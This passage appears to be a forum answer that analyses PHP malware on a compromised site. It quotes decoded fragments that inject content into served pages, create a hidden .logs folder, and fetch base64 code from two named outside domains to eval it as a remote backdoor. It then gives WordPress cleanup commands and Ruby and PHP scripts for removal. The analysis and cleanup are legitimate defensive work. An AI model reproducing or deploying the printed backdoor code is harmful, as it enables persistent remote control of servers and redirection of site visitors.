$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si',
gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
}
}
Looks like it creates a hidden .log folder:
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
Then seems to download code from http://www.lolypopholypop.com/g_load.php and http://sweepstakesandcontestsdo.com/, base64 decodes it, then executes it:
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
So without having to access your server again, they can execute different code.
Dan Hill wrote an article about getting base64 hacked for WordPress installations.
To quote the results of Dan's findings:
The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.
To get rid of the problem, Dan tried the following:
I did this in three stages. First, find any world-writable directories (tsk tsk):
find . -type d -perm -o=w
And make them not world writable:
find . -type d -perm -o=w -print -exec chmod 770 {} \;
Delete all the new files these guys created:
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
(In wordpress, the uploads folder shouldn’t contain any PHP)
Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:
#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
puts f
begin
contents = File.read(f)
contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")
File.open(f, 'w') {|f| f.write(contents) }
rescue
puts "FILE ERROR"
end
end
The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.
Hope Dan's findings help!
For those searching for a non-Ruby fix, here's a PHP version of Dan Hill's code:
<?php
function fileExtension($filename) {
$pathInfo = pathinfo($filename);
return strtolower($pathInfo['extension']);
}
function fixFiles($path) {
$path = str_replace('././', './', $path);
$d = #opendir($path);
if ($d) {
while (($entry = readdir($d)) !== false) {
$baseEntry = $entry;
$entry = str_replace('././', './', $path . '/' . $entry);
if ($baseEntry != '.' && $baseEntry != '..') {
if (is_file($entry)) {
$fe = fileExtension($entry);
if ($fe == 'php') {
$contents = file_get_contents($entry);
$contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);
$f = fopen($entry, 'w');
fputs($f, $contents);
fclose($f);
echo $entry . '<br>';
flush();
}
}
else if (is_dir($entry)) {
fixFiles($path . '/' . basename($entry));
}
}
}
closedir($d);
}
}
fixFiles('.');
?>